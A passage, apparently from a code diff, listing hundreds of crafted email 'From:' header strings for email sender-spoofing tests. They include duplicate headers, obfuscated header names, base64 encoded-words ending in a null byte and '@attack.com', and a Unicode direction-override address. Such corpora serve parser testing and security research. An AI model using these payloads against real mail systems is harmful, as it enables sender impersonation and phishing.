(comm\r\nent)(comm\r\nent)\r\n", + "From: wordword(),wordwordword(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tZW50KTxAcXEuY29tOkAxNjMuY29tOndlYm1hc3RlckBjaGluYS5jb20+DQo==?=>\u0000@attack.com", + "From:()\r\n", + "From :key@msn.com\r\n", + " Fromÿ: \r\nFrom:key@ymail.com.cn\r\n", + "From:,(comment),(),word..(hi)\r\n", + "From: \r\nFrom:admin@china.com,,,\r\n", + " From: \r\nFrom:,,(comment),webmaster@sina.cn,(hi)\r\n", + " From:(comm\r\nent)(comm\r\nent)\r\n", + "From :admin@sohu.com\r\n", + " From:Alice@gmail.com,hr@icloud.com\r\n", + "From :word(comm\r\nent)\r\n", + "From: \r\nFrom:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", + "From: <=?utf-8?RnJvbTooKTxAYS5jb206QGIuY29tOnNlY3VyaXR5QHltYWlsLmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:(comm\r\nent)\r\n", + "From :wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", + "From: (),Mike@139.com,\r\n", + " From: \r\nFrom:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", + " From:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", + " From: \r\nFrom:Alice@live.com\r\n", + " FrOM: \r\nFrom:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", + " From: \r\nFrom:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEFsaWNlQDEzOS5jb20+KGNvbW1lbnQpLGF0dGFja2VyQHFxLmNvbSw8YXR0YWNrZXJAeW1haWwuY29tPigpLHdlYm1hc3RlckBzaW5hLmNvbQ0K=?=>", + " Fromÿ: \r\nFrom:,Mike@ymail.com\r\n", + "From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", + "From :,webmaster@foxmail.com\r\n", + " From:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", + "From: \r\nFrom:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", + " From: \r\nFrom:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", + "From :,,Alice@hotmail.com,webmaster@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAYS5jb206QGIuY29tOk1pa2VAaWNsb3VkLmNvbT4oKSx3b3JkKGNvbW1lbnQpPGhyQHltYWlsLmNvbS5jbj4sc2VjdXJpdHlAbXNuLmNvbSx3b3JkPHNlY3VyaXR5QGdtYWlsLmNvbT4NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpBbGljZUBmb3htYWlsLmNvbSxhdHRhY2tlckAxMzkuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosLEFsaWNlQG1zbi5jb20sLCgpDQo==?=>", + "From :attacker@ymail.com.cn\r\n", + "From: word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", + "From :key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", + " From: \r\nFrom:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTprZXlAeW1haWwuY29tLmNuDQo==?=>", + "From: Bob@139.com,hr@china.com\r\n", + "From: \r\nFrom:,,,\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUAxNjMuY29tDQo==?=>\u0000@attack.com", + " From: \r\nFrom:(comment),Mike@qq.com,()(hi)\r\n", + " Fromÿ: \r\nFrom:word(),wordword(hi)\r\n", + " Fromÿ: \r\nFrom:hr@ymail.com.cn\r\n", + " FrOM: \r\nFrom:attacker@gmail.com,Mike@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTprZXlAZm94bWFpbC5jb20sKA0KKQ0K=?=>", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixNaWtlQDE2My5jb20NCg===?=>", + " Fromÿ: \r\nFrom:(comment)<@a.com:@b.com:Bob@139.com>\r\n", + "From :()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckB5bWFpbC5jb20+DQo==?=>", + " FrOM: \r\nFrom:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", + "From :(comment),Mike@qq.com,()(hi)\r\n", + " From:hr@163.com\r\n", + "From :word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", + " From:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", + " FrOM: \r\nFrom:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChoaSkuKA0KKShjb21tZW50KTxzZWN1cml0eUB5bWFpbC5jb20uY24+LHdvcmR3b3Jkd29yZHdvcmQoaGkpPHNlY3VyaXR5QDEyNi5jb20+KGNvbW0NCmVudCksd2VibWFzdGVyQHFxLmNvbSxhdHRhY2tlckBhbGl5dW4uY29tLGhyQGhvdG1haWwuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKCk8a2V5QHltYWlsLmNvbT4oY29tbWVudCksKA0KKQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosQWxpY2VAdG9wLmNvbQ0K=?=>\u0000@attack.com", + " From:webmaster@139.com\r\n", + "From: attacker@gmail.com,Mike@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", + " From: \r\nFrom:webmaster@sina.cn,Mike@163.com\r\n", + "From: attacker@sohu.com\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBzaW5hLmNvbSwoY29tbWVudCksDQo==?=>", + "From :wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", + "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQGZveG1haWwuY29tDQo==?=>\u0000@attack.com", + " From: \r\nFrom:admin@163.com,attacker@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbSxockBjaGluYS5jb20NCg===?=>", + "From: \r\nFrom:(comment),Mike@qq.com,()(hi)\r\n", + " From: \r\nFrom:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxzZWN1cml0eUBtc24uY29tPihoaSkNCg===?=>", + "From: admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + " From:,Bob@ymail.com\r\n", + "From: Mike@top.com,key@outlook.com\r\n", + " From: \r\nFrom:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", + "From: <=?utf-8?RnJvbTosQm9iQHltYWlsLmNvbQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPGhyQHNvaHUuY29tPihoaSksQm9iQHltYWlsLmNvbS5jbiwoY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAZm94bWFpbC5jb20+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBzb2h1LmNvbT4oaGkpLGtleUBtc24uY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:word(comm\r\nent)\r\n", + "From :admin@sina.com,(comment),\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxMjYuY29tDQo==?=>", + " From: \r\nFrom:(\r\n),(hi),(),(comm\r\nent),\r\n", + "From :word(comment)(comment)\r\n", + " Fromÿ: \r\nFrom:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", + "From: \r\nFrom:Bob@aliyun.com,(),,,word\r\n", + " From: \r\nFrom:Mike@163.com,(comm\r\nent)\r\n", + "From :,(comment),(),word..(hi)\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxhdHRhY2tlckAxNjMuY29tDQo==?=>", + "From:(\r\n),key@qq.com,\r\n", + " From:,(\r\n)\r\n", + "From: \r\nFrom:Alice@outlook.com,word\r\n", + " FrOM: \r\nFrom:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", + " FrOM: \r\nFrom:hr@foxmail.com,,\r\n", + "From:Alice@live.com\r\n", + " From: \r\nFrom:<@a.com:@b.com:security@qq.com>\r\n", + " FrOM: \r\nFrom:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", + " From:admin@163.com,attacker@hotmail.com\r\n", + " From: \r\nFrom:,(comment),key@qq.com,(hi)\r\n", + "From: <=?utf-8?RnJvbTosaHJAbGl2ZS5jb20saHJAMTI2LmNvbQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:webmaster@qq.com,()\r\n", + " From:Bob@aliyun.com,(),,,word\r\n", + "From: Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", + "From: \r\nFrom:webmaster@sina.com\r\n", + " Fromÿ: \r\nFrom:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", + "From: <=?utf-8?RnJvbTooDQopLGFkbWluQHltYWlsLmNvbS5jbg0K=?=>", + "From:(hi)\r\n", + "From: \r\nFrom:word(comm\r\nent),,(\r\n)\r\n", + "From: \r\nFrom:admin@sohu.com\r\n", + " FrOM: \r\nFrom:(\r\n),(hi),(),(comm\r\nent),\r\n", + " Fromÿ: \r\nFrom:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", + " From: \r\nFrom:(hi),(),,,word()(\r\n)()\r\n", + " Fromÿ: \r\nFrom:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", + "From :(\r\n),key@qq.com,\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tDQo==?=>\u0000@attack.com", + " From:,,,word(\r\n)\r\n", + "From: \r\nFrom:Mike@top.com,key@outlook.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockBzb2h1LmNvbT4oaGkpLGtleUBtc24uY29tDQo==?=>", + "From:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", + " From:admin@china.com,,,\r\n", + " Fromÿ: \r\nFrom:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", + "From: \r\nFrom:(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBxcS5jb206QDE2My5jb206a2V5QDEyNi5jb20+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20sLCwNCg===?=>", + "From:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", + "From: \r\nFrom:(),webmaster@sina.cn,\r\n", + "From: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", + "From:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", + " From:,,key@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxrZXlAc29odS5jb20NCg===?=>", + "From :(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", + "From:<‮moc.a@‭alice", + " FrOM: \r\nFrom:()<@gmail.com:@b.com:Mike@live.com>\r\n", + "From :Bob@139.com,hr@china.com\r\n", + " From:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpCb2JAMTYzLmNvbT4oaGkpDQo==?=>", + "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sTWlrZUBxcS5jb20NCg===?=>", + "From :,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", + "From: \r\nFrom:,Alice@china.com\r\n", + "From:()<@gmail.com:@b.com:Mike@live.com>\r\n", + " From:hr@126.com\r\n", + "From: webmaster@139.com\r\n", + " From:Alice@163.com\r\n", + " From:wordword(comm\r\nent)<@a.com:@b.com:Alice@sohu.com>,word(comm\r\nent)<@qq.com:@163.com:Alice@ymail.com.cn>(comment),Bob@sina.cn,key@163.com,webmaster@top.com\r\n", + " FrOM: \r\nFrom:Bob@top.com,word<@gmail.com:@b.com:Bob@outlook.com>()\r\n", + " Fromÿ: \r\nFrom:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", + "From: <=?utf-8?RnJvbTpockBzb2h1LmNvbQ0K=?=>", + " FrOM: \r\nFrom:,()(comment),(\r\n)\r\n", + " From: \r\nFrom:(comm\r\nent)(comm\r\nent)\r\n", + " From: \r\nFrom:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206a2V5QHltYWlsLmNvbT4oDQopDQo==?=>", + " Fromÿ: \r\nFrom:Alice@outlook.com\r\n", + " Fromÿ: \r\nFrom:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", + " From:Alice@aliyun.com\r\n", + "From:key@icloud.com\r\n", + " From: \r\nFrom:(comment),(comment)<@gmail.com:@b.com:security@139.com>,\r\n", + "From: \r\nFrom:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", + " From: \r\nFrom:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", + "From: \r\nFrom:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tDQplbnQpPEBhLmNvbTpAYi5jb206QWxpY2VAc29odS5jb20+LHdvcmQoY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQHltYWlsLmNvbS5jbj4oY29tbWVudCksQm9iQHNpbmEuY24sa2V5QDE2My5jb20sd2VibWFzdGVyQHRvcC5jb20NCg===?=>\u0000@attack.com", + " From:word(\r\n)(\r\n)\r\n", + "From: <=?utf-8?RnJvbTosPGFkbWluQHNpbmEuY29tPiwsDQo==?=>", + "From: \r\nFrom:,(\r\n)\r\n", + "From: \r\nFrom:(comm\r\nent)(hi)\r\n", + "From: word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", + "From :Mike@163.com,(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:(hi),,(hi),(hi)\r\n", + "From: (comment),word(comm\r\nent),(),(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxockB0b3AuY29tPg0K=?=>", + "From :attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", + "From: <=?utf-8?RnJvbTosPEBnbWFpbC5jb206QGIuY29tOmFkbWluQGNoaW5hLmNvbT4sKGhpKTxAZ21haWwuY29tOkBiLmNvbTphdHRhY2tlckBtc24uY29tPiwoaGkpLCwoKSwNCg===?=>", + " From: \r\nFrom:()\r\n", + " Fromÿ: \r\nFrom:Alice@outlook.com,word\r\n", + "From: ,attacker@sina.com,(hi)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPiw8QGEuY29tOkBiLmNvbTprZXlAZm94bWFpbC5jb20+LA0K=?=>\u0000@attack.com", + " From: \r\nFrom:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", + "From :<@qq.com:@163.com:Mike@163.com>\r\n", + " FrOM: \r\nFrom:(comment),(),webmaster@hotmail.com\r\n", + " From:,,,\r\n", + " From:Alice@outlook.com,word\r\n", + "From :(comm\r\nent)(comm\r\nent)\r\n", + "From: \r\nFrom:,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", + "From: <=?utf-8?RnJvbTosPEBhLmNvbTpAYi5jb206QWxpY2VAc2luYS5jbj4NCg===?=>", + " From: \r\nFrom:(comm\r\nent)\r\n", + " From:word<@a.com:@b.com:admin@icloud.com>,(\r\n)<@a.com:@b.com:Alice@gmail.com>,(hi)<@qq.com:@163.com:key@sohu.com>,word(\r\n)(hi),security@aliyun.com,webmaster@126.com\r\n", + "From :()(comment)\r\n", + " From:security@126.com\r\n", + "From: <=?utf-8?RnJvbTooKTxNaWtlQHltYWlsLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + " From:(hi)<@qq.com:@163.com:admin@foxmail.com>(),<@gmail.com:@b.com:key@foxmail.com>(\r\n),<@a.com:@b.com:Mike@ymail.com.cn>(),(comm\r\nent)\r\n", + "From: word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", + "From:admin@icloud.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAeW1haWwuY29tLmNuDQo==?=>\u0000@attack.com", + " From: \r\nFrom:,webmaster@sina.cn,,,(\r\n)\r\n", + "From :word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", + "From: ", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206a2V5QDEyNi5jb20+LHdvcmQuPGF0dGFja2VyQGdtYWlsLmNvbT4oDQopLHdvcmQoKTxzZWN1cml0eUBzaW5hLmNuPihjb21tZW50KSwsKGNvbW1lbnQpDQo==?=>", + "From: ,<@a.com:@b.com:Alice@sina.cn>\r\n", + "From: <=?utf-8?RnJvbTosLChjb21tZW50KSx3ZWJtYXN0ZXJAc2luYS5jbiwoaGkpDQo==?=>\u0000@attack.com", + " From:()\r\n", + " From:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", + " FrOM: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", + "From: admin@live.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAc29odS5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTosLEFsaWNlQGhvdG1haWwuY29tLHdlYm1hc3RlckBmb3htYWlsLmNvbQ0K=?=>", + " From: \r\nFrom:webmaster@139.com\r\n", + " FrOM: \r\nFrom:,(comment),key@qq.com,(hi)\r\n", + "From: ,hr@aliyun.com\r\n", + "From:,<@a.com:@b.com:Alice@sina.cn>\r\n", + "From:hr@126.com\r\n", + "From :word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", + " Fromÿ: \r\nFrom:<@qq.com:@163.com:Alice@sohu.com>\r\n", + " Fromÿ: \r\nFrom:admin@sohu.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZ21haWwuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpNaWtlQDE2My5jb20sKGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:(comment),wordword\r\n", + " FrOM: \r\nFrom:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", + "From: \r\nFrom:(hi),admin@msn.com\r\n", + "From: key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", + " FrOM: \r\nFrom:,key@139.com,admin@foxmail.com,word.<@gmail.com:@b.com:attacker@sina.com>,,\r\n", + "From :(comm\r\nent),key@top.com,(hi),word(hi)(comment)\r\n", + " From:admin@sina.com,(comment),\r\n", + "From: <=?utf-8?RnJvbTooDQopPEBnbWFpbC5jb206QGIuY29tOmF0dGFja2VyQGZveG1haWwuY29tPigpDQo==?=>\u0000@attack.com", + "From:(hi),,(hi),(hi)\r\n", + "From: <=?utf-8?RnJvbTooDQopLGtleUBxcS5jb20sDQo==?=>\u0000@attack.com", + "From:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", + "From: ,,key@foxmail.com\r\n", + " Fromÿ: \r\nFrom:webmaster@sina.com\r\n", + "From :word(hi)(comm\r\nent)\r\n", + " From: \r\nFrom:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", + " From:<@qq.com:@163.com:Mike@163.com>\r\n", + "From: \r\nFrom:key@outlook.com,(comm\r\nent)\r\n", + "From:<@gmail.com:@b.com:key@top.com>\r\n", + "From: word(comm\r\nent),,(\r\n)\r\n", + " From:hr@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:,Bob@ymail.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAY2hpbmEuY29tLDxAcXEuY29tOkAxNjMuY29tOkJvYkBxcS5jb20+DQo==?=>\u0000@attack.com", + "From :Alice@aliyun.com\r\n", + " Fromÿ: \r\nFrom:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", + "From:attacker@china.com,Bob@139.com,word(comm\r\nent)\r\n", + "From:key@ymail.com.cn\r\n", + "From: webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", + " FrOM: \r\nFrom:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", + " FrOM: \r\nFrom:Mike@top.com,key@outlook.com\r\n", + " From: \r\nFrom:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", + "From: Bob@qq.com,wordwordwordword(hi)\r\n", + " From:(\r\n),(hi),(),(comm\r\nent),\r\n", + " Fromÿ: \r\nFrom:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", + "From :webmaster@126.com\r\n", + " From:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", + " FrOM: \r\nFrom:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", + " From: \r\nFrom:word(comm\r\nent)\r\n", + "From:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", + " From:,hr@live.com,hr@126.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUAxNjMuY29tDQo==?=>", + " From:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", + " FrOM: \r\nFrom:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLGtleUBxcS5jb20sKGhpKQ0K=?=>", + " From: \r\nFrom:admin@live.com\r\n", + " Fromÿ: \r\nFrom:admin@139.com,(comm\r\nent)(comment)\r\n", + " From: \r\nFrom:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBjaGluYS5jb20NCg===?=>", + "From :(\r\n),(hi),(),(comm\r\nent),\r\n", + " FrOM: \r\nFrom:attacker@sohu.com,webmaster@foxmail.com\r\n", + " From:(hi)(),security@aliyun.com,word(comment)<@a.com:@b.com:Bob@ymail.com>(),word(\r\n)\r\n", + "From :(),webmaster@sina.cn,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206a2V5QG91dGxvb2suY29tPigNCiksLChjb21tZW50KQ0K=?=>", + "From:security@163.com\r\n", + "From: hr@gmail.com\r\n", + "From: \r\nFrom:admin@live.com,key@icloud.com,<@gmail.com:@b.com:hr@ymail.com.cn>()\r\n", + "From :(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", + " Fromÿ: \r\nFrom:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", + "From :key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", + " Fromÿ: \r\nFrom:key@sohu.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkLigpPE1pa2VAMTI2LmNvbT4oKSw8QGdtYWlsLmNvbTpAYi5jb206a2V5QG1zbi5jb20+KGNvbW0NCmVudCksd29yZCgNCik8d2VibWFzdGVyQDEyNi5jb20+LDxNaWtlQGZveG1haWwuY29tPg0K=?=>\u0000@attack.com", + " From: \r\nFrom:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", + " Fromÿ: \r\nFrom:wordword\r\n", + "From:,word(\r\n),,(),key@ymail.com.cn,()\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQDE2My5jb20+KGhpKQ0K=?=>", + "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQHNpbmEuY29tPihoaSkNCg===?=>", + "From:wordwordword<@gmail.com:@b.com:attacker@foxmail.com>,attacker@hotmail.com,wordword<@gmail.com:@b.com:webmaster@aliyun.com>,attacker@163.com\r\n", + " From:,,Alice@msn.com,,()\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQGZveG1haWwuY29tPix3b3JkPGF0dGFja2VyQGxpdmUuY29tPix3b3JkKGNvbW1lbnQpPGhyQHNpbmEuY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", + " From: \r\nFrom:Mike@top.com,(comm\r\nent)<@a.com:@b.com:Bob@126.com>(hi),admin@icloud.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZ21haWwuY29tLGtleUAxMjYuY29tDQo==?=>", + "From: \r\nFrom:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZm94bWFpbC5jb20sKGNvbW0NCmVudCksYXR0YWNrZXJAc2luYS5jbiwNCg===?=>\u0000@attack.com", + " From:,hr@aliyun.com\r\n", + " FrOM: \r\nFrom:wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", + "From:Alice@gmail.com,hr@icloud.com\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", + "From:wordword(\r\n)(comment)\r\n", + " From:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", + " FrOM: \r\nFrom:,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBxcS5jb20NCg===?=>", + " Fromÿ: \r\nFrom:,,(comment),webmaster@sina.cn,(hi)\r\n", + " Fromÿ: \r\nFrom:hr@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpd29yZDxzZWN1cml0eUBnbWFpbC5jb20+LHdvcmR3b3Jkd29yZHdvcmR3b3Jkd29yZHdvcmR3b3JkPGF0dGFja2VyQHFxLmNvbT4oY29tbQ0KZW50KSxhZG1pbkAxMzkuY29tLHdlYm1hc3RlckAxMjYuY29tLHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpCb2JAZm94bWFpbC5jb20+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + "From :word(\r\n)(\r\n)\r\n", + " From: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTooDQopLHdvcmR3b3JkKA0KKTxockAxMzkuY29tPigNCiksDQo==?=>\u0000@attack.com", + "From:webmaster@gmail.com\r\n", + "From: word(comment)(comment)\r\n", + " From: \r\nFrom:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", + "From: \r\nFrom:hr@sohu.com\r\n", + "From :word<@qq.com:@163.com:key@126.com>\r\n", + "From: \r\nFrom:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", + " From:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", + " From: \r\nFrom:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", + "From: <=?utf-8?RnJvbTooDQopLGtleUBxcS5jb20sDQo==?=>", + "From: \r\nFrom:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", + " Fromÿ: \r\nFrom:(),Mike@139.com,\r\n", + " FrOM: \r\nFrom:word(comm\r\nent)\r\n", + "From: (comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", + " FrOM: 